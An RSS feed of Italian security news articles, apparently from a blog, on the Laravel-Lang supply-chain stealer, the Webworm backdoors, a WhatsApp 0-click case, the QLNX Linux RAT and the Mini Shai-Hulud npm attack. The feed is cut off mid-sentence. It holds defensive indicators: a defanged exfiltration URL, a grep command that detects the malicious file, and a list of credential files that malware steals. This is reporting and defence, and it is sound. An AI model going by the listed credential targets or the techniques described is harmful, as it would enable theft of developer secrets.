<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Topics tagged with malware]]></title><description><![CDATA[A list of topics that have been tagged with malware]]></description><link>https://forum.androidiani.net/tags/malware</link><generator>RSS for Node</generator><lastBuildDate>Tue, 26 May 2026 17:05:05 GMT</lastBuildDate><atom:link href="https://forum.androidiani.net/tags/malware.rss" rel="self" type="application/rss+xml"/><pubDate>Mon, 25 May 2026 16:37:30 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Laravel-Lang compromessa: oltre 700 versioni PHP infettate da uno stealer cross-platform]]></title><description><![CDATA[Si parla di:ToggleUn sofisticato attacco alla supply chain ha compromesso quattro pacchetti PHP appartenenti al progetto Laravel-Lang, iniettando codice malevolo in oltre 700 versioni pubblicate in rapida successione tra il 22 e il 23 maggio 2026. Il payload — uno stealer cross-platform da quasi 6.000 righe di codice — è stato progettato per drenare credenziali cloud, token CI/CD, wallet di criptovalute e segreti di repository da qualsiasi sistema che utilizzi queste librerie di localizzazione diffusissime nell’ecosistema Laravel.La natura dell’attacco: tag git riscritti, non codice sorgenteQuello che rende questa campagna particolarmente insidiosa è la tecnica adottata: gli attaccanti non hanno modificato il codice sorgente del repository, bensì hanno riscritto ogni tag git esistente in ciascun repository per puntare a commit malevoli appartenenti a un fork controllato dagli aggressori. Questo approccio bypassa molti controlli di integrità tradizionali basati sull’analisi dei diff del codice principale.GitHub consente ai tag di versione di puntare a commit di fork dello stesso repository. Gli attaccanti hanno sfruttato questa funzionalità per sostituire silenziosamente tutti i tag — compresi quelli di versioni storicamente sicure — con riferimenti a commit malevoli nel fork. Il risultato pratico è che anche un progetto che non aggiornava le dipendenze da mesi si ritrovava improvvisamente a scaricare codice ostile.I ricercatori di Socket, Aikido Security, StepSecurity e Snyk hanno analizzato in dettaglio l’incidente, confermando che le versioni compromesse sono state pubblicate in rapida successione — alcune a pochi secondi di distanza l’una dall’altra — il 22 e il 23 maggio 2026, con oltre 700 versioni identificate tra i quattro pacchetti interessati. La velocità di pubblicazione indica quasi certamente un processo automatizzato.I pacchetti compromessiI quattro pacchetti colpiti sono componenti fondamentali dell’ecosistema di localizzazione per applicazioni Laravel:laravel-lang/lang — le traduzioni principali per decine di linguelaravel-lang/http-statuses — messaggi di stato HTTP localizzatilaravel-lang/attributes — traduzioni degli attributi dei formlaravel-lang/actions — azioni comuni localizzateSi sospetta che gli attaccanti abbiano ottenuto accesso a credenziali a livello di organizzazione, a sistemi di automazione del repository o all’infrastruttura di rilascio del progetto. Packagist ha risposto tempestivamente rimuovendo le versioni malevole e mettendo temporaneamente in stato di “unlisted” i pacchetti interessati per prevenire ulteriori installazioni.Il meccanismo di esecuzione automatica: autoloader ComposerLa funzionalità malevola è contenuta in un file denominato src/helpers.php, incorporato nei tag di versione compromessi. Il file è registrato nel campo autoload.files del composer.json di ciascun pacchetto. Questa scelta tecnica è devastante: qualsiasi applicazione PHP che esegua require __DIR__.'/vendor/autoload.php' all’avvio — ovvero praticamente ogni applicazione Laravel, Symfony, PHPUnit o framework PHP moderno — esegue automaticamente il payload senza che sia necessaria alcuna chiamata di metodo esplicita.“Il backdoor viene eseguito automaticamente ad ogni richiesta PHP gestita dall’applicazione compromessa”, ha spiegato Socket nella propria analisi. Lo script genera un identificatore univoco per host (un hash MD5 che combina il percorso della directory, l’architettura del sistema e l’inode) per garantire che il payload si attivi una sola volta per macchina, limitando le esecuzioni ridondanti e aiutando il malware a restare non rilevato dopo l’esecuzione iniziale.Payload: uno stealer modulare con 15 collector specializzatiIl dropper contatta il server flipboxstudio[.]info per recuperare il payload principale: uno stealer PHP cross-platform da circa 5.900 righe di codice, organizzato in 15 moduli collector specializzati. Su Windows viene distribuito un launcher Visual Basic Script eseguito tramite cscript; su Linux e macOS il payload viene eseguito tramite exec().L’elenco di ciò che lo stealer è in grado di raccogliere è impressionante per ampiezza e profondità:Cloud provider: ruoli IAM AWS e documenti di identità dell’istanza, credenziali default di Google Cloud, token di accesso Microsoft Azure, profili service principal, token di account DigitalOcean, Heroku, Vercel, Netlify, Railway, Fly.ioContainer e orchestrazione: token Service Account Kubernetes, configurazioni Helm registry, token HashiCorp Vault, auth token Docker, configurazioni cluster KubernetesCI/CD e DevOps: token e configurazioni di Jenkins, GitLab Runner, GitHub Actions, CircleCI, TravisCI, ArgoCDCriptovalute: seed phrase e file di portafogli Electrum, Exodus, Atomic, Ledger Live, Trezor, Wasabi, Sparrow; dati di estensioni browser MetaMask, Phantom, Trust Wallet, Ronin, Keplr, Solflare, RabbyBrowser: cronologia, cookie e login data da Chrome, Edge, Firefox, Brave, Opera, usando un eseguibile Windows embedded in Base64 che bypassa Chromium’s App-Bound Encryption (ABE)Password manager: vault locali e dati di estensioni 1Password, Bitwarden, LastPass, KeePass, Dashlane, NordPassComunicazioni e sessioni: token di Discord, Slack, Telegram; sessioni PuTTY/WinSCP, Windows Credential Manager, sessioni RDPFile sensibili: chiavi private SSH, credenziali Git, history di shell, file .env, wp-config.php, docker-compose.yml, variabili d’ambiente del processo PHPEmail e FTP: dati Outlook, Thunderbird, FileZilla, WinSCP, CoreFTPVPN: configurazioni OpenVPN, WireGuard, NetworkManager, NordVPN, ExpressVPN, CyberGhost, MullvadDopo aver raccolto tutto il materiale disponibile, il payload cripta i risultati con AES-256 e li trasmette all’endpoint flipboxstudio[.]info/exfil, dopodiché si cancella dal disco per limitare le tracce forensi.IoC (Indicatori di Compromissione)# Dominio C2 principale
flipboxstudio[.]info
flipboxstudio[.]info/exfil
# File malevolo nei pacchetti
src/helpers.php  (registrato in autoload.files di composer.json)
# Pacchetti PHP compromessi (verificare versioni 22-23 maggio 2026)
laravel-lang/lang
laravel-lang/http-statuses
laravel-lang/attributes
laravel-lang/actions
# Verifica presenza del file malevolo
find ./vendor -name "helpers.php" -path "*/laravel-lang/*" -exec grep -l "flipboxstudio" {} \;Contesto: una campagna in crescita nell’ecosistema PHPQuesto attacco non è isolato. Negli ultimi mesi si è assistito a un’ondata di compromissioni delle supply chain nei principali registri di pacchetti. In particolare, la campagna Mini Shai-Hulud attribuita al gruppo TeamPCP (UNC6780) ha colpito pacchetti npm di TanStack, Mistral AI, Guardrails AI e OpenSearch, diffondendosi come un vero e proprio worm grazie all’abuso di token OIDC GitHub e al meccanismo di trusted publishing di npm. Il fatto che ora un attacco simile colpisca l’ecosistema PHP/Composer dimostra che i gruppi criminali stanno sistematicamente esplorando tutti i principali registri di pacchetti come vettori di attacco.La tecnica di riscrivere i tag git invece di modificare il codice sorgente rappresenta un’evoluzione tattica significativa: bypassando i controlli diff tradizionali, rende molto più difficile il rilevamento automatico da parte degli strumenti di analisi della composizione software (SCA).Due righe per i difensoriVerificare immediatamente se le applicazioni Laravel utilizzano uno dei quattro pacchetti compromessi e controllare le versioni installate durante il periodo 22-23 maggio 2026Ruotare tutte le credenziali (AWS, GCP, Azure, GitHub, npm, CI/CD, database) su qualsiasi sistema che abbia eseguito codice con le versioni infetteNon revocare immediatamente i token sospetti prima di aver isolato e acquisito un’immagine forense del sistema: il malware include meccanismi di risposta alla revocaBloccare il dominio flipboxstudio[.]info a livello di firewall/DNSImplementare controlli di integrità sui tag git (verificare le firme dei commit) e considerare il pinning degli hash SHA degli artefatti nel composer.lockAdottare strumenti SCA capaci di rilevare tag git riscritti, non solo modifiche al codice sorgenteAggiornare a versioni sicure dei pacchetti rilasciate dal team Laravel-Lang dopo la rimozione delle versioni malevole da Packagist]]></description><link>https://forum.androidiani.net/topic/1f0ec210-d3f7-4547-b5e1-1d66b42032ef/laravel-lang-compromessa-oltre-700-versioni-php-infettate-da-uno-stealer-cross-platform</link><guid isPermaLink="true">https://forum.androidiani.net/topic/1f0ec210-d3f7-4547-b5e1-1d66b42032ef/laravel-lang-compromessa-oltre-700-versioni-php-infettate-da-uno-stealer-cross-platform</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Mon, 25 May 2026 16:37:30 GMT</pubDate></item><item><title><![CDATA[Webworm evolve: i backdoor EchoCreep e GraphWorm trasformano Discord e Microsoft Graph in canali C2]]></title><description><![CDATA[Si parla di:ToggleQuando un gruppo APT decide di nascondere le proprie comunicazioni malevole dentro le API di prodotti Microsoft o nei canali Discord, il confine tra traffico legittimo e operazione di spionaggio si fa quasi invisibile per i tradizionali strumenti di sicurezza di rete. È esattamente la scelta operativa che ha compiuto Webworm, gruppo di allineamento cinese attivo da almeno il 2022, che nel 2025 ha arricchito il proprio toolkit con due nuovi implant: EchoCreep e GraphWorm.Chi è Webworm: storia e attribuzioniWebworm è stato documentato pubblicamente per la prima volta da Symantec (ora parte di Broadcom) nel settembre 2022. Il gruppo prende di mira agenzie governative e aziende nei settori IT, aerospaziale ed energia elettrica, con un focus geografico che comprende Russia, Georgia, Mongolia e diverse nazioni asiatiche ed europee. I ricercatori hanno identificato sovrapposizioni operative significative con cluster tracciati come FishMonger (alias Aquatic Panda), SixLittleMonkeys e Space Pirates — tutti threat actor con legami all’intelligence cinese.La scelta dei bersagli — istituzioni governative, operatori di infrastrutture critiche e fornitori di servizi IT — è coerente con gli obiettivi strategici di raccolta intelligence attribuiti agli attori state-sponsored cinesi. Le recenti campagne hanno ampliato il raggio d’azione verso l’Europa, segnalando un’evoluzione geopolitica degli interessi del gruppo.EchoCreep: Discord come infrastruttura C2EchoCreep è il componente più semplice — ma non per questo meno insidioso — del nuovo arsenale. Utilizza Discord come canale di Command and Control, sfruttando le API della piattaforma di messaggistica per ricevere comandi dagli operatori e restituire output dalle macchine compromesse. Le funzionalità documentate dai ricercatori includono:Upload e download di file arbitrari verso/dal sistema vittimaEsecuzione di comandi tramite cmd.exe con restituzione dell’output agli operatoriPersistenza tramite canale Discord dedicato, non esposto pubblicamenteL’analisi del canale Discord utilizzato da EchoCreep rivela che i primi comandi risalgono al 21 marzo 2024: ciò significa che l’implant era già operativo in campagne reali ben prima della sua scoperta pubblica, probabilmente inosservato per oltre un anno.La scelta di Discord come C2 non è casuale. Il traffico verso discord.com è quasi universalmente consentito nelle policy di rete aziendali, il protocollo è HTTPS e il volume di traffico legittimo è enorme — condizioni ideali per mascherare comunicazioni malevole nel rumore di fondo.GraphWorm: Microsoft OneDrive come dead dropGraphWorm è il componente più sofisticato del nuovo toolkit. Utilizza Microsoft Graph API — la stessa infrastruttura usata da milioni di applicazioni enterprise — per le comunicazioni C2, sfruttando specificamente gli endpoint di OneDrive. La tecnica del “cloud dead drop” — usare servizi cloud legittimi come proxy per i comandi — è in crescita tra gli APT più avanzati, ma GraphWorm la porta a un livello di granularità operativa notevole.Per ciascuna vittima compromessa, GraphWorm crea una directory dedicata su OneDrive, permettendo agli operatori di gestire in modo indipendente le operazioni su target diversi senza interferenze. Le capacità documentate includono:Spawn di nuove sessioni cmd.exe per l’esecuzione interattiva di comandiAvvio di processi arbitrari sul sistema vittimaUpload e download di file da/verso OneDrive tramite Graph APISelf-termination controllata su segnale degli operatori, per ridurre le tracce forensiIl traffico verso graph.microsoft.com è considerato trust implicito nella maggior parte degli ambienti enterprise Microsoft 365, rendendo il rilevamento basato sul blocco dei domini o sull’ispezione superficiale del traffico del tutto inefficace.Tooling, proxy custom e TTP completiWebworm integra i propri backdoor con un ecosistema di strumenti offensive collaudato. Per la fase di ricognizione, il gruppo usa tool open source come dirsearch e nuclei per eseguire brute-force dei path su web server delle vittime e identificare vulnerabilità sfruttabili. Sul lato infrastrutturale, Webworm ha sviluppato una suite di proxy custom: WormFrp, ChainWorm, SmuxProxy e WormSocket. Questi strumenti non si limitano a cifrare le comunicazioni: supportano il chaining su host multipli — sia interni che esterni alla rete bersaglio — permettendo la costruzione di tunnel multi-hop difficili da tracciare. Il gruppo utilizza inoltre SoftEther VPN per un ulteriore layer di offuscamento dell’infrastruttura C2.Indicatori di compromissione (IoC)# Webworm - EchoCreep / GraphWorm IoC (maggio 2026)
# Tool legittimi usati in contesto malevolo
TOOL: dirsearch (github.com/maurosoria/dirsearch)
TOOL: nuclei (github.com/projectdiscovery/nuclei)
# Custom proxy tools Webworm
TOOL: WormFrp
TOOL: ChainWorm
TOOL: SmuxProxy
TOOL: WormSocket
# Patterns comportamentali da monitorare
BEHAVIOR: cmd.exe spawned by non-standard parent process
BEHAVIOR: Unusual OneDrive API calls (graph.microsoft.com) with file creation in per-victim dirs
BEHAVIOR: Discord API traffic with binary/encoded payloads
BEHAVIOR: SoftEther VPN client installation/execution
# Cluster correlati
ALIAS: FishMonger / Aquatic Panda
ALIAS: SixLittleMonkeys
ALIAS: Space PiratesDue righe per i difensoriL’abuso di servizi cloud legittimi per il C2 richiede un cambio di paradigma nel rilevamento. Il blocco a livello di dominio è inefficace — occorre spostare l’attenzione sul comportamento. I blue team dovrebbero implementare analisi comportamentale del traffico verso API cloud note, cercando pattern anomali di upload/download non correlati all’attività utente attesa. È fondamentale monitorare la creazione di directory insolite su OneDrive enterprise tramite i log di Microsoft 365 Defender e correlare gli accessi OAuth a Microsoft Graph con i baseline comportamentali degli account di servizio. Sul piano degli endpoint, qualsiasi processo che spawni cmd.exe con parent process inusuali dovrebbe attivare alert ad alta priorità. Infine, regole Sigma per i pattern di traffico Discord e Graph API anomali, combinate con threat intelligence sui cluster Webworm, permettono un rilevamento proattivo di queste campagne.]]></description><link>https://forum.androidiani.net/topic/e0fda263-ed98-43b2-9880-1ed22e51d7e1/webworm-evolve-i-backdoor-echocreep-e-graphworm-trasformano-discord-e-microsoft-graph-in-canali-c2</link><guid isPermaLink="true">https://forum.androidiani.net/topic/e0fda263-ed98-43b2-9880-1ed22e51d7e1/webworm-evolve-i-backdoor-echocreep-e-graphworm-trasformano-discord-e-microsoft-graph-in-canali-c2</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Sat, 23 May 2026 20:58:09 GMT</pubDate></item><item><title><![CDATA[Whatsapp compromesso su iPhone, la ricerca di Forenser sullo 0-click]]></title><description><![CDATA[Una premessa prima di iniziare: se hai un iPhone con iOS inferiore a 16.7.12, aggiorna, è già tardi e un miracolo che non sia ancora successo niente di brutto.Detto questo, per anni l’ecosistema Apple è stato raccontato come una fortezza quasi inespugnabile. “Se hai un iPhone sei al sicuro” è diventato uno dei mantra più ripetuti anche fuori dalla bolla tech. Poi arrivano casi come quello documentato da Forenser e improvvisamente quella narrativa inizia a incrinarsi. Non perché iPhone sia diventato improvvisamente insicuro, ma perché il punto debole — come spesso accade — non è il dispositivo in sé. È la catena completa: notifiche, sessioni, social engineering, bug, sincronizzazioni cloud e fiducia implicita dell’utente.La ricerca pubblicata da Forenser fotografa infatti una serie di compromissioni WhatsApp osservate su dispositivi Apple rimasti fermi a iOS 16 (specificatamente sotto il famoso aggiornamento alla 16.7.12). Non si parla di semplici tentativi di phishing “artigianali”, ma di account effettivamente presi in controllo, con accessi alle chat e utilizzo dell’identità digitale delle vittime per colpire ulteriori contatti.Le vittime, infatti, non riportano comportamenti compatibili con il classico phishing. Nessun link cliccato volontariamente, nessuna installazione di applicazioni sospette, nessun QR code scansionato deliberatamente, nessuna richiesta di OTP condivisi. Eppure gli account risultano violati.È questo il dettaglio che ha acceso l’interesse della comunità forense.Secondo quanto riportato nell’analisi di Forenser, gli utenti colpiti avrebbero ricevuto messaggi specifici poco prima della compromissione. Messaggi che, in alcuni casi, sembrano avere un comportamento anomalo lato client. La ricostruzione tecnica suggerisce che il vettore d’attacco possa sfruttare una vulnerabilità legata alla gestione dei contenuti ricevuti da WhatsApp su iOS 16, permettendo l’esecuzione di operazioni malevole senza necessità di interazione diretta dell’utente.In altre parole: il semplice ricevere il messaggio potrebbe essere sufficiente ad attivare la catena di compromissione.È questo il vero significato di 0-click. Nessun tap. Nessun consenso. Nessun comportamento “sbagliato” da parte della vittima.Nel mondo mobile moderno, questo tipo di attacco rappresenta uno degli scenari più pericolosi in assoluto, perché elimina completamente il principale livello difensivo su cui si basa gran parte della sicurezza consumer: l’utente stesso. Le campagne di phishing tradizionali funzionano solo se qualcuno sbaglia. Gli exploit 0-click invece trasformano il dispositivo in un bersaglio passivo.La ricerca di Forenser suggerisce inoltre un elemento fondamentale: il problema sembrerebbe concentrarsi su device ancora fermi a certe release superate di iOS 16. Questo potrebbe indicare la presenza di vulnerabilità già corrette nelle versioni successive di iOS, ma ancora sfruttabili sui terminali non aggiornati. Ed è qui che emerge uno dei problemi più sottovalutati dell’ecosistema Apple: l’idea che “se hai un iPhone allora sei automaticamente al sicuro”.In realtà il modello di sicurezza Apple funziona in maniera estremamente efficace proprio grazie agli aggiornamenti continui. Restare bloccati su una major release precedente significa esporsi progressivamente a vulnerabilità già note, studiate e potenzialmente weaponizzate.Dal punto di vista operativo, un attacco del genere è devastante perché estremamente difficile da rilevare. Non lascia i classici indicatori di compromissione associati al malware tradizionale. Non rallenta necessariamente il dispositivo. Non mostra finestre sospette. Non installa applicazioni visibili. Tutto avviene all’interno di una superficie software considerata “trusted”: l’app di messaggistica stessa.E WhatsApp rappresenta un bersaglio ideale.Dentro quell’applicazione oggi transitano conversazioni personali, documenti, codici OTP, messaggi vocali, relazioni professionali e spesso persino elementi di autenticazione indiretta per servizi bancari o aziendali. Compromettere WhatsApp non significa più soltanto leggere chat private: significa ottenere accesso a una porzione enorme dell’identità digitale della vittima.L’aspetto forse più interessante dell’indagine di Forenser è che porta l’attenzione su una categoria di minacce spesso percepite come lontane dal mondo reale. Quando si parla di exploit 0-click si pensa immediatamente ad attori statali, intelligence offensive e spyware da milioni di euro. Ma la linea che separa il cyberespionage dal cybercrime si sta assottigliando sempre di più. Tecniche un tempo esclusive delle operazioni governative iniziano lentamente a comparire anche in scenari meno sofisticati.Ed è esattamente questo a rendere il caso così importante.Perché al netto dei dettagli tecnici ancora da chiarire completamente, la ricerca di Forenser mostra un cambiamento preciso nel panorama delle minacce mobile: gli smartphone non vengono più attaccati soltanto inducendo l’utente a commettere errori. Sempre più spesso, basta semplicemente raggiungerli.]]></description><link>https://forum.androidiani.net/topic/fca8e73b-b8fa-49a7-a252-f0dba072141b/whatsapp-compromesso-su-iphone-la-ricerca-di-forenser-sullo-0-click</link><guid isPermaLink="true">https://forum.androidiani.net/topic/fca8e73b-b8fa-49a7-a252-f0dba072141b/whatsapp-compromesso-su-iphone-la-ricerca-di-forenser-sullo-0-click</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Sat, 23 May 2026 17:51:48 GMT</pubDate></item><item><title><![CDATA[QLNX: il nuovo implant Linux silenzioso che saccheggia la supply chain del software]]></title><description><![CDATA[Si parla di:ToggleUn nuovo implant Linux mai documentato prima — denominato Quasar Linux RAT (QLNX) — sta prendendo di mira sviluppatori e ambienti DevOps con l’obiettivo di appropriarsi silenziosamente delle credenziali più preziose del ciclo di sviluppo software: token npm, PyPI, AWS, Kubernetes, GitHub e molto altro. La scoperta, opera dei ricercatori Aliakbar Zahravi e Ahmed Mohamed Ibrahim di Trend Micro, descrive uno strumento che non si limita ad essere un semplice trojan di accesso remoto, ma una piattaforma di spionaggio industriale progettata per persistere, nascondersi e colpire l’intera supply chain del software.Cosa rende QLNX diverso dagli altri RAT LinuxA differenza di molti implant Linux che puntano sulla semplicità, QLNX è costruito come una piattaforma d’attacco coerente e modulare. Il suo punto di forza non sta in una singola tecnica innovativa, ma nell’integrazione armoniosa di più capacità offensive che si concatenano in un flusso d’attacco preciso: arriva, cancella le tracce dal disco, si radica con sei meccanismi ridondanti, si nasconde sia a livello userspace che kernel, e infine raccoglie sistematicamente le credenziali che contano davvero.Il malware esegue filelessly dalla memoria, mascherandosi da thread del kernel attraverso nomi come kworker o ksoftirqd — nomi che ogni amministratore di sistema Linux incontra quotidianamente nei propri processi. Questo lo rende praticamente invisibile a una normale ispezione manuale. È inoltre in grado di profilare l’host per rilevare ambienti containerizzati, cancellare i log di sistema e stabilire persistenza attraverso non meno di sette metodi diversi, tra cui systemd, crontab e shell injection nel file .bashrc.Un harvester di credenziali pensato per la supply chainIl componente di furto credenziali di QLNX è ciò che lo rende particolarmente pericoloso per l’ecosistema open source. Il malware estrae sistematicamente segreti da un elenco preciso di file ad alto valore per uno sviluppatore:File target di QLNX per il furto credenziali:

.npmrc              → Token di pubblicazione npm
.pypirc             → Credenziali PyPI
.git-credentials    → Credenziali Git
.aws/credentials    → Chiavi di accesso AWS
.kube/config        → Credenziali Kubernetes
.docker/config.json → Autenticazione Docker Registry
.vault-token        → Token HashiCorp Vault
.env                → Variabili d'ambiente con segreti
**/terraform.tfvars → Credenziali Terraform
GitHub CLI tokens   → Token di accesso GitHubIl rischio non è solo per lo sviluppatore compromesso: un attore che ottiene accesso a uno di questi token può pubblicare pacchetti malevoli su npm o PyPI, accedere all’infrastruttura cloud o muoversi lateralmente attraverso pipeline CI/CD. È esattamente il meccanismo che ha consentito attacchi supply chain devastanti in passato, come l’operazione TeamPCP che ha colpito oltre 160 pacchetti npm e PyPI nelle scorse settimane.Architettura rootkit a doppio livello: LD_PRELOAD + eBPFL’aspetto più sofisticato di QLNX è la sua architettura rootkit a due livelli, che combina tecniche di occultamento a livello userspace e kernel.Il primo strato è un rootkit userland deployato attraverso il meccanismo LD_PRELOAD del dynamic linker di Linux. Questo garantisce che tutti gli artefatti e i processi dell’implant rimangano nascosti agli strumenti di ispezione standard. Il secondo strato è un componente kernel-level basato su eBPF (Extended Berkeley Packet Filter) — il potente sottosistema Linux originariamente pensato per il networking e l’osservabilità dei sistemi. QLNX sfrutta eBPF per nascondere processi, file e porte di rete agli strumenti userland come ps, ls e netstat, su istruzione del server di comando e controllo (C2).L’uso offensivo di eBPF per il rootkitting è una tendenza già documentata da altri ricercatori, ma la sua integrazione in un RAT con builder pipeline modulare indica una maturazione significativa di queste tecniche al di fuori di ambienti di ricerca accademica.Backdoor PAM: furto di credenziali SSH in tempo realeQLNX include anche un backdoor basato su PAM (Pluggable Authentication Module) che intercetta le credenziali in chiaro durante gli eventi di autenticazione SSH. Il componente PAM inline-hook registra i dati delle sessioni SSH in uscita e li trasmette al C2. È inoltre presente un secondo logger PAM che viene caricato automaticamente in ogni processo collegato dinamicamente, per estrarre nome del servizio, username e token di autenticazione.Questa tecnica è particolarmente insidiosa perché i moduli PAM girano tipicamente con privilegi root e operano a un livello così basso nello stack di autenticazione che la maggior parte dei sistemi di monitoring tradizionali non riesce a intercettarli. Non a caso, negli ultimi mesi sono emersi altri strumenti simili — come PamDOORa, venduto su forum russi di cybercrime per 900 dollari — che sfruttano lo stesso vettore.58 comandi C2 e un’infrastruttura operativa completaQLNX supporta ben 58 comandi distinti che conferiscono agli operatori il controllo completo dell’host compromesso. Le capacità operative includono esecuzione di shell commands, gestione file, code injection nei processi, cattura di screenshot, keylogging, SOCKS proxy, TCP tunneling, esecuzione di Beacon Object Files (BOFs) — la stessa tecnica usata da Cobalt Strike — e gestione di una rete P2P mesh tra host compromessi.La comunicazione con il C2 avviene su tre protocolli — TCP grezzo, HTTPS e HTTP — con un loop persistente che tenta continuamente di mantenere attiva la connessione. La vettore di infezione iniziale rimane ancora sconosciuto, ma una volta stabilito il foothold, QLNX cancella i propri artefatti dal disco e avvia la fase operativa principale.Indicatori di compromissione e contromisureQLNX evidenzia una tendenza preoccupante: la supply chain del software sta diventando il bersaglio privilegiato di attori sofisticati, perché compromettere un singolo sviluppatore con accesso ai registri npm o PyPI può avere effetti moltiplicatori su migliaia di utenti downstream. Per i team di sicurezza, alcune contromisure prioritarie:Ruotare regolarmente tutti i token di pubblicazione per npm, PyPI, GitHub e altri registri, soprattutto dopo accessi da sistemi non familiari.Monitorare processi Linux con nomi simili a thread del kernel — kworker, ksoftirqd ecc. — che non corrispondono agli effettivi thread del kernel: strumenti come pstree con verifica del PPID possono rivelare anomalie.Verificare l’integrità dei moduli PAM: controllare regolarmente che i file .so nei percorsi PAM non siano stati modificati rispetto alla versione del package manager.Abilitare audit logging di eBPF per rilevare il caricamento di programmi eBPF non autorizzati: auditctl -a always,exit -F arch=b64 -S bpf.Isolare i segreti CI/CD dall’ambiente di sviluppo locale, usando secret manager dedicati piuttosto che file in chiaro su disco.Trend Micro ha pubblicato i dettagli tecnici completi nel proprio blog di ricerca. La natura fileless di QLNX e il suo doppio rootkit rendono il rilevamento basato su signature sostanzialmente inefficace: la difesa deve puntare su behavioral analytics e monitoraggio delle anomalie a livello di syscall, combinati con soluzioni EDR capaci di ispezionare la memoria dei processi.]]></description><link>https://forum.androidiani.net/topic/9e334f68-e6dc-4f7d-b9a5-b5163dd9e1e2/qlnx-il-nuovo-implant-linux-silenzioso-che-saccheggia-la-supply-chain-del-software</link><guid isPermaLink="true">https://forum.androidiani.net/topic/9e334f68-e6dc-4f7d-b9a5-b5163dd9e1e2/qlnx-il-nuovo-implant-linux-silenzioso-che-saccheggia-la-supply-chain-del-software</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Tue, 19 May 2026 13:01:17 GMT</pubDate></item><item><title><![CDATA[Mini Shai-Hulud: TeamPCP compromette 160+ pacchetti npm e PyPI in un supply chain attack che ha colpito TanStack, Mistral AI e OpenAI]]></title><description><![CDATA[Si parla di:ToggleTra il 11 e il 14 maggio 2026, un attore di minacce tracciato come TeamPCP ha sferrato uno dei supply chain attack più sofisticati mai documentati nell’ecosistema open source: oltre 160 pacchetti npm e 2 pacchetti PyPI compromessi, tra cui componenti del popolare framework TanStack, librerie di Mistral AI e UiPath, e il fondamentale pacchetto node-ipc con 822.000 download settimanali. L’operazione, ribattezzata “Mini Shai-Hulud” dai ricercatori di Wiz, ha colpito le pipeline di sviluppo di migliaia di organizzazioni — inclusi due dipendenti di OpenAI — e ha dimostrato come un singolo punto debole nelle GitHub Actions possa trasformarsi in una bomba a orologeria lungo tutta la catena del software.L’innesco: tre vulnerabilità GitHub Actions in sequenzaIl vettore iniziale dell’attacco non è stato una vulnerabilità nei pacchetti stessi, ma nell’infrastruttura CI/CD che li gestisce. TeamPCP ha sfruttato una catena di tre vulnerabilità nelle GitHub Actions, secondo quanto ricostruito dai ricercatori di Wiz e Orca Security. L’attaccante ha creato un fork del repository TanStack/router, ha aperto una pull request che ha innescato un workflow pull_request_target — una tipologia di workflow che, a differenza di pull_request, viene eseguita con i permessi completi del repository originale anche per PR da fork esterni — e ha avvelenato la cache pnpm di GitHub Actions con un payload malevolo.Una volta avvelenata la cache, il malware si è auto-propagato: ogni volta che il workflow legittimo veniva eseguito, invece di scaricare le dipendenze originali recuperava le versioni compromesse dalla cache infetta. Questo meccanismo di auto-propagazione — il “worm” di Mini Shai-Hulud — ha permesso la compromissione a cascata di tutti i namespace associati al progetto.I 373 pacchetti compromessi: la portata dell’operazioneLa scala dell’attacco è stata eccezionale. In totale, 373 versioni malevole sono state pubblicate su npm, distribuite su 169 nomi di pacchetti distinti. I namespace colpiti includono @tanstack (83 voci: router, start, devtools e adapter packages), @uipath (66 voci), @squawk (87 voci), @mistralai, @tallyui, @beproduct e numerosi pacchetti non con scope. Su PyPI, i pacchetti colpiti sono stati guardrails-ai 0.10.1 e mistralai 2.4.6.La natura cross-namespace dell’attacco è significativa: le organizzazioni che utilizzavano librerie di vendor diversi (UiPath per l’automazione, Mistral AI per i modelli LLM, TanStack per il routing frontend) erano tutte vulnerabili nello stesso intervallo temporale, senza che esistesse un singolo punto di allerta evidente.node-ipc: il payload più insidiosoParallelamente alla compromissione via GitHub Actions, TeamPCP ha eseguito un attacco separato ma correlato contro node-ipc, un pacchetto fondamentale di Node.js per la comunicazione inter-processo con oltre 10 milioni di download settimanali. Tre versioni malevole (9.1.6, 9.2.3 e 12.0.1) sono state pubblicate il 14 maggio 2026 tramite un account maintainer compromesso attraverso una tecnica di account takeover mirata.L’attaccante aveva re-registrato il dominio atlantis-software.net — scaduto il 10 gennaio 2025 — il 7 maggio 2026 tramite Namecheap, e aveva utilizzato la procedura standard di reset password di npm per ottenere i permessi di pubblicazione senza che il maintainer originale venisse avvisato. Le versioni malevole contenevano un payload da 80 KB, fortemente offuscato, che veniva iniettato come IIFE (Immediately Invoked Function Expression) alla fine del file node-ipc.cjs.Cosa rubava il malware: 90+ categorie di credenzialiUna volta caricato tramite require('node-ipc'), il payload eseguiva silenziosamente un harvesting massiccio di credenziali: chiavi AWS, Azure e GCP, chiavi SSH private, token Kubernetes, configurazioni GitHub CLI, impostazioni di Claude AI e dell’IDE Kiro, stati Terraform, password di database, cronologia della shell e molto altro — oltre 90 categorie di segreti in totale. I dati venivano compressi in un archivio gzip e esfiltrati verso un server controllato dagli attaccanti che si mascherava da infrastruttura Azure.Prima di procedere, il payload effettuava un fingerprint SHA-256 dell’ambiente, confrontandolo con un hash hardcoded assemblato da otto frammenti offuscati presenti nel codice — presumibilmente per evitare l’esecuzione in sandbox di analisi. Le versioni malevole sono rimaste attive sul registry per circa due ore prima del rilevamento e della rimozione da parte di npm. Qualsiasi progetto che abbia eseguito npm install o aggiornato automaticamente le dipendenze in quella finestra temporale deve essere considerato potenzialmente compromesso.OpenAI e Mistral AI tra le vittime: le implicazioni sistemicheOpenAI ha confermato che due dispositivi di dipendenti nel suo ambiente aziendale sono stati compromessi nell’attacco. L’azienda ha ingaggiato una società di incident response, ha ruotato i certificati di firma del codice per le applicazioni macOS e ha dichiarato di non aver trovato evidenze di accesso a dati utente, sistemi di produzione o proprietà intellettuale. Mistral AI ha visto le sue librerie ufficiali compromise, sollevando preoccupazioni immediate tra gli sviluppatori che le utilizzano per integrare capacità AI nei loro applicativi.Il fatto che TeamPCP abbia preso di mira specificamente pacchetti di aziende AI leader — Mistral AI, e indirettamente OpenAI attraverso i suoi sviluppatori — non è 